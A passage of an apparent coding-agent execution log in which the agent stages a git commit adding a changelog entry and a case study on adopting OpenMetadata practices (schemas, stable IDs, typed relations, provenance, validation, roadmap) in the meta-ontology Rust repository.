[INFO] --- /dev/null\n[2026-07-12T04:07:40.042Z] [INFO] +++ b/changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:40.042Z] [INFO] @@ -0,0 +1,9 @@\n[2026-07-12T04:07:40.042Z] [INFO] +---\n[2026-07-12T04:07:40.042Z] [INFO] +bump: patch\n[2026-07-12T04:07:40.042Z] [INFO] +---\n[2026-07-12T04:07:40.042Z] [INFO] +\n[2026-07-12T04:07:40.042Z] [INFO] +### Added\n[2026-07-12T04:07:40.042Z] [INFO] +\n[2026-07-12T04:07:40.042Z] [INFO] +- Added an issue 5 case study that evaluates transferable OpenMetadata practices,\n[2026-07-12T04:07:40.042Z] [INFO] +  preserves research observations, inventories reusable standards and Rust\n[2026-07-12T04:07:40.042Z] [INFO] +  components, and provides a phased implementation plan.\n[2026-07-12T04:07:40.042Z] [INFO] diff --git a/docs/case-studies/issue-5/README.md b/docs/case-studies/issue-5/README.md\n[2026-07-12T04:07:40.042Z] [INFO] new file mode 100644\n[2026-07-12T04:07:40.042Z] [INFO] index 0000000..c11c7e9\n[2026-07-12T04:07:40.042Z] [INFO] --- /de\n[2026-07-12T04:07:40.042Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:40.034Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:40.042Z] [INFO] 2026-07-12T04:07:40.034119Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_zRV9wfFYbpU9XlVbIVXdmYQU duration_ms=231 success=true arguments_length=399 output_length=2086 output_line_count=52 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:40.034Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:40.042Z] [INFO] 2026-07-12T04:07:40.034346Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_zRV9wfFYbpU9XlVbIVXdmYQU tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=231 total_duration_ms=231\n[2026-07-12T04:07:40.042Z] [INFO] \n[2026-07-12T04:07:40.058Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_42\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git add .gitkeep changelog.d/20260712_openmetadata_case_study.md docs/case-studies/issue-5 && git diff --cached --check && git diff --cached --stat && git diff --cached --name-status && git diff --cached | sed -n '1,1500p' && git status --short\\\"\",\"aggregated_output\":\" .gitkeep                                           |   1 -\\n changelog.d/20260712_openmetadata_case_study.md    |   9 +\\n docs/case-studies/issue-5/README.md                | 122 ++++++++++\\n docs/case-studies/issue-5/openmetadata-analysis.md | 233 +++++++++++++++++++\\n docs/case-studies/issue-5/raw-data/issue-5.json    |  17 ++\\n .../issue-5/raw-data/research-observations.json    |  35 +++\\n .../issue-5/requirements-and-solutions.md          | 256 +++++++++++++++++++++\\n docs/case-studies/issue-5/source-inventory.md      |  93 ++++++++\\n 8 files changed, 765 insertions(+), 1 deletion(-)\\nD\\t.gitkeep\\nA\\tchangelog.d/20260712_openmetadata_case_study.md\\nA\\tdocs/case-studies/issue-5/README.md\\nA\\tdocs/case-studies/issue-5/openmetadata-analysis.md\\nA\\tdocs/case-studies/issue-5/raw-data/issue-5.json\\nA\\tdocs/case-studies/issue-5/raw-data/research-observations.json\\nA\\tdocs/case-studies/issue-5/requirements-and-solutions.md\\nA\\tdocs/case-studies/issue-5/source-inventory.md\\ndiff --git a/.gitkeep b/.gitkeep\\ndeleted file mode 100644\\nindex 246ae17..0000000\\n--- a/.gitkeep\\n+++ /dev/null\\n@@ -1 +0,0 @@\\n-# .gitkeep file auto-generated at 2026-07-12T04:01:46.538Z for PR creation at branch issue-5-e2602184e2c5 for issue https://github.com/link-foundation/meta-ontology/issues/5\\n\\\\ No newline at end of file\\ndiff --git a/changelog.d/20260712_openmetadata_case_study.md b/changelog.d/20260712_openmetadata_case_study.md\\nnew file mode 100644\\nindex 0000000..d723621\\n--- /dev/null\\n+++ b/changelog.d/20260712_openmetadata_case_study.md\\n@@ -0,0 +1,9 @@\\n+---\\n+bump: patch\\n+---\\n+\\n+### Added\\n+\\n+- Added an issue 5 case study that evaluates transferable OpenMetadata practices,\\n+  preserves research observations, inventories reusable standards and Rust\\n+  components, and provides a phased implementation plan.\\ndiff --git a/docs/case-studies/issue-5/README.md b/docs/case-studies/issue-5/README.md\\nnew file mode 100644\\nindex 0000000..c11c7e9\\n--- /dev/null\\n+++ b/docs/case-studies/issue-5/README.md\\n@@ -0,0 +1,122 @@\\n+# Issue 5 Case Study: Applying OpenMetadata Practices\\n+\\n+## Summary\\n+\\n+Issue: [link-foundation/meta-ontology#5](https://github.com/link-foundation/meta-ontology/issues/5)\\n+\\n+OpenMetadata is a mature metadata platform, while this repository is a small,\\n+Links Notation-based ontology. The useful lesson is therefore not to copy its\\n+Java/Python/TypeScript service stack. It is to adopt its boundaries: a canonical\\n+schema, stable entity identity, explicit relationships, versioned changes,\\n+connector isolation, API-first access, governance metadata, and automated\\n+quality checks.\\n+\\n+The recommended sequence is deliberately incremental. Strengthen the current\\n+in-process Rust model and lino data first; add interchange and ingestion\\n+contracts next; add persistence, search, HTTP, and a UI only when their roadmap\\n+milestones and measured usage justify the operational cost.\\n+\\n+Research was performed on 2026-07-12. OpenMetadata is fast-moving, so facts\\n+that can change are pinned to the observation date and links to primary sources.\\n+\\n+## Collected Data\\n+\\n+- [`source-inventory.md`](source-inventory.md) records the issue, PR, repository,\\n+  release, documentation, and source-code evidence consulted.\\n+- [`openmetadata-analysis.md`](openmetadata-analysis.md) describes transferable\\n+  practices, mismatches, risks, and existing components that can help.\\n+- [`requirements-and-solutions.md`](requirements-and-solutions.md) enumerates\\n+  every explicit and implied requirement and gives a solution and staged plan.\\n+- [`raw-data/issue-5.json`](raw-data/issue-5.json) preserves the issue snapshot.\\n+- [`raw-data/research-observations.json`](raw-data/research-observations.json)\\n+  preserves time-sensitive repository and PR observations in a compact,\\n+  reviewable form.\\n+\\n+No issue comments, PR conversation comments, inline review comments, or PR\\n+reviews existed when collected.\\n+\\n+## Findings\\n+\\n+### Practices to adopt now\\n+\\n+1. **Schema-first domain model.** Validate every persisted concept, definition,\\n+   mapping, language exponent, and relationship against a versioned contract.\\n+2. **Stable identity separate from display names.** Renames must not break\\n+   mappings, definitions, lineage, or future external references.\\n+3. **Typed graph edges.** Replace implicit string conventions with a small,\\n+   documented relation vocabulary and validate edge endpoints.\\n+4. **Provenance and change history.** Record source, author/agent, timestamp,\\n+   schema version, and change reason. Emit a deterministic change record when\\n+   loading or updating data.\\n+5. **Layered validation.** Separate parse validity, schema validity, graph\\n+   integrity, semantic quality, and repository word coverage so failures are\\n+   actionable.\\n+6. **Connector boundary.** Future importers should produce the same normalized\\n+   intermediate model; source-specific code must not leak into the core graph.\\n+7. **Contract-driven interfaces.** The library remains authoritative. CLI,\\n+   future HTTP, WASM, and importers consume the same service contracts.\\n+8. **Governance primitives.** Ownership, lifecycle state, classifications, and\\n+   policy references should be ordinary metadata, not UI-only annotations.\\n+\\n+### Practices to defer\\n+\\n+- A separate database and search index until the corpus or query latency needs it.\\n+- A workflow scheduler until multiple repeatable external ingestion jobs exist.\\n+- Microservices, event buses, and Kubernetes until deployment requirements demand\\n+  independent scaling or availability.\\n+- A broad connector catalog before one end-to-end connector contract is proven.\\n+- Enterprise RBAC before the HTTP service exists; design authorization fields now,\\n+  enforce them at the service boundary later.\\n+\\n+## Target Architecture\\n+\\n+```text\\n+source files / future connectors\\n+              |\\n+              v\\n+      normalized import records\\n+              |\\n+              v\\n+ parse -> schema -> graph -> semantic validation\\n+              |\\n+              v\\n+     versioned ontology service\\n+       /          |          \\\\\\n+     CLI       future API    WASM/UI\\n+                  |\\n+          optional persistence/search\\n+```\\n+\\n+The pipeline is the important boundary. Each consumer sees one validated model;\\n+each importer produces one normalized representation.\\n+\\n+## Decision Matrix\\n+\\n+| OpenMetadata practice | Fit | Decision |\\n+| --- | --- | --- |\\n+| Canonical schema and generated/typed models | High | Adopt incrementally |\\n+| Stable IDs, names, ownership, tags, versions | High | Add to domain model |\\n+| Typed relationships and lineage | High | Add a relation vocabulary |\\n+| Source-to-sink connector topology | High | Adapt as a small Rust trait pipeline |\\n+| REST resources and JSON Patch | Medium | Design contracts now; implement at M3 |\\n+| Change events and webhooks | Medium | Start with deterministic local events |\\n+| Data quality tests and observability | Medium | Adapt to ontology integrity rules |\\n+| Search index | Low today | Keep an interface; defer infrastructure |\\n+| Airflow-style workflow scheduling | Low today | Defer |\\n+| Full production deployment stack | Low today | Do not copy |\\n+\\n+## Completion Criteria\\n+\\n+This case study satisfies issue 5 when it:\\n+\\n+- preserves issue- and PR-related observations under this directory;\\n+- uses current primary online sources and distinguishes observations from\\n+  recommendations;\\n+- enumerates all issue requirements;\\n+- evaluates OpenMetadata practices against this repository rather than merely\\n+  summarizing OpenMetadata;\\n+- identifies reusable standards, crates, and libraries;\\n+- supplies a prioritized, testable implementation plan for every requirement.\\n+\\n+The analysis and plan meet those criteria. Product changes are intentionally\\n+proposed as future slices rather than bundled into this research PR.\\ndiff --git a/docs/case-studies/issue-5/openmetadata-analysis.md b/docs/case-studies/issue-5/openmetadata-analysis.md\\nnew file mode 100644\\nindex 0000000..62846e7\\n--- /dev/null\\n+++ b/docs/case-studies/issue-5/openmetadata-analysis.md\\n@@ -0,0 +1,233 @@\\n+# Deep Analysis: What Meta-Ontology Should Learn from OpenMetadata\\n+\\n+## Context and limits\\n+\\n+OpenMetadata solves enterprise metadata discovery, ingestion, governance,\\n+lineage, quality, and collaboration. Meta-ontology currently loads a small lino\\n+graph into an in-memory Rust library and exposes it through a CLI. Their shared\\n+domain is metadata graphs; their scale, product scope, and operational needs are\\n+not comparable.\\n+\\n+Accordingly, this analysis extracts invariants and interfaces. It rejects\\n+technology copying where the problem is absent.\\n+\\n+## 1. Canonical schema as the center of the system\\n+\\n+OpenMetadata defines entities and types in language-neutral schemas and derives\\n+models used by server, ingestion, and UI layers. This prevents three subtly\\n+different definitions of the same entity.\\n+\\n+Meta-ontology already has Rust structs plus conventions embedded in lino. The\\n+risk is that conventions such as tuple position, mapping kind, language, or\\n+definition source evolve without a machine-checkable contract.\\n+\\n+### Adaptation\\n+\\n+- Declare a `schema_version` for the dataset and interchange representation.\\n+- Keep one authoritative Rust domain model.\\n+- Derive a JSON Schema interchange contract from it, or check a hand-maintained\\n+  schema against generated fixtures.\\n+- Validate lino-to-model normalization independently of parser success.\\n+- Reject unknown fields only at stable boundaries; provide migrations when a\\n+  stored format changes.\\n+\\n+JSON is an interchange format here, not a replacement for Links Notation.\\n+\\n+## 2. Identity, names, and references\\n+\\n+Metadata systems must distinguish machine identity, fully qualified names,\\n+display names, and aliases. A graph that uses a mutable label as identity makes\\n+rename operations destructive.\\n+\\n+### Adaptation\\n+\\n+Add an opaque `ConceptId` and make names indexed attributes. Define uniqueness,\\n+normalization, alias, deprecation, and redirect rules. A mapping or definition\\n+references the ID; CLI lookup may accept a canonical name or alias. Initially,\\n+IDs can be explicitly stored strings. UUIDs are useful only if decentralized\\n+creation makes coordinated human-readable IDs unsafe.\\n+\\n+### Required invariants\\n+\\n+- IDs are unique and immutable.\\n+- A canonical name is unique within its namespace and language rules.\\n+- Every edge endpoint resolves.\\n+- Alias chains terminate and cannot fork ambiguously.\\n+- Removing a referenced concept requires an explicit migration or tombstone.\\n+\\n+## 3. Typed relationships and graph integrity\\n+\\n+OpenMetadata treats lineage, ownership, classification, glossary association,\\n+and containment as relationships with meaning, rather than arbitrary strings.\\n+Meta-ontology needs the same discipline on a much smaller scale.\\n+\\n+### Adaptation\\n+\\n+Define a relation registry containing at least:\\n+\\n+- relation ID and canonical name;\\n+- source and target concept categories;\\n+- cardinality;\\n+- inverse, symmetry, and transitivity declarations where meaningful;\\n+- lifecycle state and provenance.\\n+\\n+Do not infer logical properties from English labels. Validation should report\\n+the source file and record for dangling endpoints, invalid cardinality, and\\n+forbidden relation types. Cycles remain legal\u2014the ontology is intentionally a\\n+graph\u2014but selected acyclic relations such as alias redirects can be checked.\\n+\\n+## 4. Provenance, versioning, and change events\\n+\\n+OpenMetadata preserves entity versions and uses source fingerprints to avoid\\n+unnecessary ingestion updates. Both ideas transfer well.\\n+\\n+### Adaptation\\n+\\n+Each imported assertion should be able to carry:\\n+\\n+- source URI or source document;\\n+- source record/version and retrieval time;\\n+- creating agent (human, connector, or migration);\\n+- confidence or review state when the assertion is inferred;\\n+- license/usage note for externally sourced descriptions;\\n+- deterministic content fingerprint.\\n+\\n+The loader can compare fingerprints and produce `Created`, `Updated`,\\n+`Unchanged`, `Deprecated`, and `Rejected` records. Start with newline-delimited\\n+JSON written by an explicit command. A database event table, webhook, or broker\\n+is unnecessary until another process consumes events.\\n+\\n+This also supports reproducible case studies: a claim can point to its source\\n+and the exact import decision.\\n+\\n+## 5. Ingestion as a normalized pipeline\\n+\\n+OpenMetadata connector code separates source extraction from normalized entity\\n+publication and uses a declarative topology for parent/child traversal.\\n+\\n+### Adaptation\\n+\\n+Use small Rust interfaces:\\n+\\n+```text\\n+Source -> RawRecord -> Normalizer -> CandidateAssertion\\n+       -> Validator -> OntologyChange -> Sink/Report\\n+```\\n+\\n+The first implementation should be a fixture connector, not a large catalog.\\n+It must demonstrate discovery, normalization, dry-run, idempotency,\\n+checkpointing, structured errors, provenance, and a second unchanged run.\\n+\\n+Connector capability declarations should state which entity/relation kinds are\\n+supported. Configuration must be typed, secrets must not appear in reports, and\\n+partial failures must not silently create a partially valid graph.\\n+\\n+## 6. Layered quality and observability\\n+\\n+OpenMetadata separates reusable test definitions, applications of those tests,\\n+suites, executions, and results. Meta-ontology can adopt that conceptual model\\n+without building a scheduler or UI.\\n+\\n+### Layers\\n+\\n+1. **Syntax:** lino parses.\\n+2. **Shape:** records conform to the versioned model.\\n+3. **Referential integrity:** IDs and relation endpoints resolve.\\n+4. **Semantic constraints:** cardinality, relation domain/range, alias rules,\\n+   required definition/language coverage.\\n+5. **Quality policy:** provenance, ownership, review status, mapping coverage,\\n+   duplicate/suspicious definitions.\\n+6. **Repository policy:** files format, tests pass, word coverage, size limits.\\n+\\n+Return stable diagnostic codes with file/record locations. Produce a JSON report\\n+for CI in addition to human output. Trend history and alert routing should wait\\n+until repeated scheduled validation exists.\\n+\\n+## 7. Governance belongs in the model\\n+\\n+OpenMetadata models ownership, glossaries, classifications, domains, policies,\\n+and lifecycle status. For meta-ontology, the immediate value is accountability\\n+and explainability, not enterprise access control.\\n+\\n+### Adaptation\\n+\\n+- Add optional owner/steward references at dataset, namespace, and concept level.\\n+- Define lifecycle values such as `draft`, `reviewed`, `stable`, `deprecated`.\\n+- Separate descriptive classification from security policy.\\n+- Let policies refer to metadata attributes so the future service can evaluate\\n+  actor + resource + operation.\\n+- Record review decisions as provenance rather than overwriting history.\\n+\\n+Authentication and authorization enforcement belongs at the future HTTP/API\\n+boundary. The library should expose policy-relevant attributes without deciding\\n+who the current user is.\\n+\\n+## 8. API and client boundaries\\n+\\n+OpenMetadata's schema-first REST API demonstrates the value of consistent\\n+resource naming and shared types. Meta-ontology's M3 service should not expose\\n+internal loader structs directly.\\n+\\n+### Proposed resources\\n+\\n+- `/api/v1/concepts` and `/api/v1/concepts/{id}`;\\n+- `/api/v1/relations` and graph traversal endpoints;\\n+- `/api/v1/definitions`, `/mappings`, and `/languages`;\\n+- `/api/v1/validation-runs` and `/changes`;\\n+- explicit import/export endpoints with dry-run support.\\n+\\n+Use cursor pagination, sparse field selection only when needed, structured\\n+errors, ETags for optimistic concurrency, and OpenAPI generation. Defer JSON\\n+Patch until partial updates and conflict semantics are fully specified.\\n+\\n+## 9. Search and discovery\\n+\\n+OpenMetadata uses dedicated indexing because it serves a large, heterogeneous\\n+catalog. The current ontology can search normalized in-memory fields.\\n+\\n+Define a `SearchIndex` interface only after search semantics are specified:\\n+exact ID/name, alias, language-aware text, relation filters, and ranking. A\\n+linear implementation is the correct baseline. Tantivy is a plausible embedded\\n+step if benchmarks show a need; an external cluster is not.\\n+\\n+## 10. Security and operations\\n+\\n+OpenMetadata documents authentication, authorization, secrets, upgrades,\\n+backups, and production deployment. These are reminders that a service boundary\\n+creates obligations.\\n+\\n+Before M3 is production-ready, specify:\\n+\\n+- read-only versus mutation endpoints;\\n+- authentication and authorization model;\\n+- request limits and payload limits;\\n+- secret handling for connectors;\\n+- audit/change retention;\\n+- schema/data migration and backup/restore procedures;\\n+- health, readiness, metrics, and structured logging;\\n+- threat tests for malformed graphs and expensive traversal.\\n+\\n+None of this requires adopting OpenMetadata's deployment topology today.\\n+\\n+## Risks and countermeasures\\n+\\n+| Risk | Countermeasure |\\n+| --- | --- |\\n+| Architecture astronautics | Require a measured use case and acceptance test for each infrastructure dependency |\\n+| Two canonical models (lino and JSON) | Define lino as storage syntax and Rust model as semantic authority; JSON is generated interchange |\\n+| Breaking old datasets | Version schemas and test migration fixtures |\\n+| Mutable names break links | Introduce stable IDs before importers or APIs |\\n+| Connector-specific core fields | Normalize behind a narrow candidate-assertion contract |\\n+| Unverifiable external claims | Require provenance and license metadata |\\n+| Quality rules become one opaque command | Layer checks and stable diagnostic codes |\\n+| Enterprise governance overwhelms MVP | Start with owner, lifecycle, provenance, and review status |\\n+| Search stack adds operations burden | Benchmark linear search; use embedded indexing before external services |\\n+| Upstream practices change | Pin source/version/date and re-evaluate at implementation time |\\n+\\n+## Recommended outcome\\n+\\n+The durable OpenMetadata lesson is contract coherence: schemas, ingestion,\\n+service APIs, governance, versioning, quality, and clients describe the same\\n+entities. Meta-ontology should build that coherence in-process first. A clean\\n+modular monolith can later move selected interfaces across process boundaries\\n+without redesigning the ontology.\\ndiff --git a/docs/case-studies/issue-5/raw-data/issue-5.json b/docs/case-studies/issue-5/raw-data/issue-5.json\\nnew file mode 100644\\nindex 0000000..30fd31b\\n--- /dev/null\\n+++ b/docs/case-studies/issue-5/raw-data/issue-5.json\\n@@ -0,0 +1,17 @@\\n+{\\n+  \\\"observed_at\\\": \\\"2026-07-12\\\",\\n+  \\\"url\\\": \\\"https://github.com/link-foundation/meta-ontology/issues/5\\\",\\n+  \\\"number\\\": 5,\\n+  \\\"state\\\": \\\"OPEN\\\",\\n+  \\\"title\\\": \\\"We should use best practices from https://github.com/open-metadata/OpenMetadata\\\",\\n+  \\\"labels\\\": [\\\"documentation\\\", \\\"enhancement\\\"],\\n+  \\\"comment_count\\\": 0,\\n+  \\\"requirements_from_body\\\": [\\n+    \\\"Collect issue-related data under docs/case-studies/issue-{id}.\\\",\\n+    \\\"Perform deep case study analysis and search online for additional facts and data.\\\",\\n+    \\\"List every requirement from the issue.\\\",\\n+    \\\"Propose solutions and solution plans for every requirement.\\\",\\n+    \\\"Check existing components and libraries that solve similar problems or can help.\\\",\\n+    \\\"Plan and execute the complete deliverable in one pull request.\\\"\\n+  ]\\n+}\\ndiff --git a/docs/case-studies/issue-5/raw-data/research-observations.json b/docs/case-studies/issue-5/raw-data/research-observations.json\\nnew file mode 100644\\nindex 0000000..5a4fc4d\\n--- /dev/null\\n+++ b/docs/case-studies/issue-5/raw-data/research-observations.json\\n@@ -0,0 +1,35 @@\\n+{\\n+  \\\"observed_at\\\": \\\"2026-07-12\\\",\\n+  \\\"meta_ontology\\\": {\\n+    \\\"repository\\\": \\\"link-foundation/meta-ontology\\\",\\n+    \\\"default_branch\\\": \\\"main\\\",\\n+    \\\"default_branch_commit\\\": \\\"04e732e\\\",\\n+    \\\"prepared_branch\\\": \\\"issue-5-e2602184e2c5\\\",\\n+    \\\"pull_request\\\": 6,\\n+    \\\"pull_request_state_at_collection\\\": \\\"OPEN_DRAFT\\\",\\n+    \\\"issue_comments\\\": 0,\\n+    \\\"pull_request_conversation_comments\\\": 0,\\n+    \\\"pull_request_inline_comments\\\": 0,\\n+    \\\"pull_request_reviews\\\": 0\\n+  },\\n+  \\\"openmetadata\\\": {\\n+    \\\"repository\\\": \\\"open-metadata/OpenMetadata\\\",\\n+    \\\"default_branch\\\": \\\"main\\\",\\n+    \\\"license_spdx\\\": \\\"Apache-2.0\\\",\\n+    \\\"latest_github_release\\\": \\\"1.13.1-release\\\",\\n+    \\\"latest_release_published_at\\\": \\\"2026-06-27T11:35:50Z\\\",\\n+    \\\"relevant_top_level_areas\\\": [\\n+      \\\"openmetadata-spec\\\",\\n+      \\\"openmetadata-service\\\",\\n+      \\\"ingestion\\\",\\n+      \\\"openmetadata-ui\\\",\\n+      \\\"openmetadata-clients\\\",\\n+      \\\"openmetadata-dist\\\",\\n+      \\\"docker\\\"\\n+    ]\\n+  },\\n+  \\\"notes\\\": [\\n+    \\\"Counts and latest-release facts are time-sensitive and must be rechecked before implementation.\\\",\\n+    \\\"No upstream source files are copied into this repository; primary links and derived observations are preserved instead.\\\"\\n+  ]\\n+}\\ndiff --git a/docs/case-studies/issue-5/requirements-and-solutions.md b/docs/case-studies/issue-5/requirements-and-solutions.md\\nnew file mode 100644\\nindex 0000000..6e7963b\\n--- /dev/null\\n+++ b/docs/case-studies/issue-5/requirements-and-solutions.md\\n@@ -0,0 +1,256 @@\\n+# Requirements, Solutions, and Implementation Plan\\n+\\n+## Requirement derivation\\n+\\n+Issue 5 names OpenMetadata in its title and uses the repository's standard case\\n+study instruction body. The explicit requirements are R1-R6. R7-R10 are implied\\n+by \u201cuse best practices\u201d and by making the output reviewable and actionable.\\n+\\n+## Complete requirement list\\n+\\n+| ID | Requirement | Evidence | Delivered here |\\n+| --- | --- | --- | --- |\\n+| R1 | Collect issue-related data under `docs/case-studies/issue-5` | Issue body | Source inventory and compact snapshots |\\n+| R2 | Perform a deep case-study analysis | Issue body | Architectural comparison, adaptations, risks |\\n+| R3 | Search online for additional facts and data | Issue body | Versioned official docs, upstream source, standards |\\n+| R4 | List every requirement from the issue | Issue body | This table |\\n+| R5 | Propose possible solutions and a plan for each requirement | Issue body | Requirement dispositions and phased plan below |\\n+| R6 | Check existing components/libraries that solve or assist each solution | Issue body | Standards/component evaluation in source inventory and below |\\n+| R7 | Identify OpenMetadata practices suitable for meta-ontology | Issue title | Ten practice areas with fit decisions |\\n+| R8 | Avoid adopting unsuitable complexity | \u201cbest practices\u201d requires contextual judgment | Explicit deferrals and decision gates |\\n+| R9 | Make recommendations verifiable | Deep analysis requirement | Acceptance tests, provenance, pinned sources |\\n+| R10 | Complete planning and execution in one PR | Issue body | All research artifacts are in PR 6 |\\n+\\n+## Solutions by requirement\\n+\\n+### R1: collect data\\n+\\n+**Options:** vendor the upstream repository; save complete API dumps; or preserve\\n+a curated, time-stamped evidence set with primary links.\\n+\\n+**Decision:** curated evidence. Vendoring a multi-gigabyte, Apache-licensed\\n+repository would be noisy and stale quickly. Full GitHub API payloads contain\\n+mostly transport metadata. The snapshots preserve the mutable facts needed to\\n+reproduce this analysis, while the inventory points to exact upstream areas.\\n+\\n+**Verification:** every local artifact named in the case-study README exists;\\n+mutable observations include an observation date; empty comment/review streams\\n+are recorded.\\n+\\n+### R2 and R7: deep analysis of applicable practices\\n+\\n+**Options:** feature checklist, technology-stack comparison, or domain-boundary\\n+analysis.\\n+\\n+**Decision:** domain-boundary analysis. It explains how schema, identity,\\n+relationships, provenance, ingestion, validation, governance, API, search, and\\n+operations affect this repository and explicitly states what not to copy.\\n+\\n+**Verification:** each practice has current-state context, an adaptation, and\\n+either an implementation slice or a deferral criterion.\\n+\\n+### R3: online research\\n+\\n+**Options:** secondary articles, current official docs, or source-only review.\\n+\\n+**Decision:** combine official versioned documentation with the upstream source\\n+tree and recognized standards. This gives design explanation plus inspectable\\n+implementation boundaries. Secondary claims are unnecessary.\\n+\\n+**Verification:** sources are primary, linked, access-dated, and separated from\\n+recommendations. Time-sensitive facts are not treated as permanent.\\n+\\n+### R4: enumerate requirements\\n+\\n+**Decision:** assign stable IDs to explicit and implied requirements. This avoids\\n+mistaking a long architectural summary for issue completion.\\n+\\n+**Verification:** every phrase in the issue body maps to R1-R6; the title's\\n+\u201cbest practices\u201d goal maps to R7-R9; single-PR completion maps to R10.\\n+\\n+### R5: solutions and plans\\n+\\n+**Decision:** use thin vertical slices, each ending in data fixtures, library\\n+behavior, CLI behavior, diagnostics, and tests. Avoid a \u201cplatform rewrite\u201d plan.\\n+\\n+**Verification:** the phased plan below has dependencies, acceptance criteria,\\n+and stop/go gates.\\n+\\n+### R6: components and libraries\\n+\\n+**Decision:** prefer standards and focused Rust crates over an OpenMetadata\\n+runtime dependency. OpenMetadata can interoperate later via JSON/RDF/OpenLineage\\n+or a purpose-built connector.\\n+\\n+| Capability | Build/adopt decision | Candidate |\\n+| --- | --- | --- |\\n+| Typed serialization | Adopt | `serde` |\\n+| JSON Schema generation | Prototype and compare generated diff in CI | `schemars` |\\n+| JSON Schema validation | Adopt at interchange boundary | `jsonschema` |\\n+| Stable opaque IDs | Start with explicit IDs; use crate if UUIDs chosen | `uuid` |\\n+| Graph algorithms | Keep current code until complexity warrants dependency | `petgraph` |\\n+| RDF/OWL exchange | Design mapping first; evaluate maintained Rust libraries with fixtures | W3C RDF/OWL |\\n+| Provenance vocabulary | Map internal provenance fields | PROV-O |\\n+| Constraint exchange | Export selected rules later | SHACL |\\n+| HTTP API | Use existing roadmap selection | `axum` |\\n+| OpenAPI | Generate from endpoint/model types | `utoipa` |\\n+| Search | Linear baseline, then benchmark embedded option | `tantivy` |\\n+| Pipeline lineage | Interoperate only when pipeline entities exist | OpenLineage |\\n+\\n+Crates must be re-evaluated for maintenance, license, MSRV, WASM compatibility,\\n+and dependency footprint when their slice begins. Listing one is not approval to\\n+add it.\\n+\\n+### R8: control complexity\\n+\\n+**Decision:** use decision gates:\\n+\\n+- no database until persistence, concurrency, or corpus size requires it;\\n+- no search service until a benchmark fails an agreed latency target;\\n+- no scheduler until at least two recurring connectors exist;\\n+- no distributed components until independent scaling or availability is a\\n+  documented requirement;\\n+- no authorization engine until mutations cross a service boundary.\\n+\\n+### R9: verifiability\\n+\\n+**Decision:** each implementation slice starts with fixtures and failing tests.\\n+All imports expose provenance and a dry-run report. Diagnostics have stable\\n+codes. Benchmarks, not analogy, trigger infrastructure.\\n+\\n+### R10: single-PR execution\\n+\\n+**Decision:** PR 6 contains the complete research deliverable and future plans.\\n+The product slices remain separately reviewable future work because implementing\\n+all of OpenMetadata's capabilities would violate R8 and the issue asks for\\n+solution proposals/plans, not a platform rewrite.\\n+\\n+## Prioritized implementation roadmap\\n+\\n+### Phase 0: accept this architecture record\\n+\\n+Deliverables:\\n+\\n+- this case study and source inventory;\\n+- explicit decisions and deferrals;\\n+- tracked follow-up issues for approved phases.\\n+\\n+Acceptance: documentation links pass; local CI passes; reviewers can trace each\\n+requirement to a delivered artifact.\\n+\\n+### Phase 1: versioned identity and validation\\n+\\n+Dependencies: none.\\n+\\n+1. Add failing fixtures for duplicate IDs, dangling edges, invalid relation\\n+   domain/range, ambiguous aliases, and unsupported schema versions.\\n+2. Introduce `ConceptId`, dataset `schema_version`, lifecycle state, and source\\n+   location without changing CLI display behavior.\\n+3. Add layered validators and stable diagnostic codes.\\n+4. Add `validate --format human|json` and golden reports.\\n+5. Provide a migration for current lino fixtures.\\n+\\n+Acceptance:\\n+\\n+- all current data migrates without semantic loss;\\n+- invalid fixtures fail at the intended validation layer;\\n+- a rename preserves ID-based references;\\n+- CLI output remains backward compatible unless explicitly versioned.\\n+\\n+### Phase 2: provenance and deterministic changes\\n+\\n+Dependencies: Phase 1.\\n+\\n+1. Model source URI/document, agent, time, review state, license note, and\\n+   content fingerprint.\\n+2. Test create/update/unchanged/deprecate decisions before implementation.\\n+3. Add dry-run diff and newline-delimited JSON change export.\\n+4. Ensure identical imports are idempotent and deterministic.\\n+\\n+Acceptance: importing the same fixture twice produces zero updates on the\\n+second run; every changed assertion points to source evidence.\\n+\\n+### Phase 3: one connector contract\\n+\\n+Dependencies: Phases 1-2.\\n+\\n+1. Define typed source configuration, capability declaration, checkpoint, raw\\n+   record, normalized candidate, and structured error contracts.\\n+2. Build one fixture-backed connector end to end.\\n+3. Test partial failures, secret redaction, retry classification, dry run, and\\n+   resume behavior.\\n+4. Document how a second connector would be added without core-model changes.\\n+\\n+Acceptance: two unchanged runs are idempotent; invalid records are quarantined\\n+with evidence; no source-specific field enters the core model without a general\\n+domain reason.\\n+\\n+### Phase 4: interchange\\n+\\n+Dependencies: Phase 1; provenance fields from Phase 2 recommended.\\n+\\n+1. Generate or maintain JSON Schema for the stable public model.\\n+2. Add JSON import/export round-trip fixtures.\\n+3. Map a deliberately small RDF/OWL/PROV-O subset and publish loss reports.\\n+4. Evaluate SHACL export for constraints; do not claim lossless round trips\\n+   until tests prove 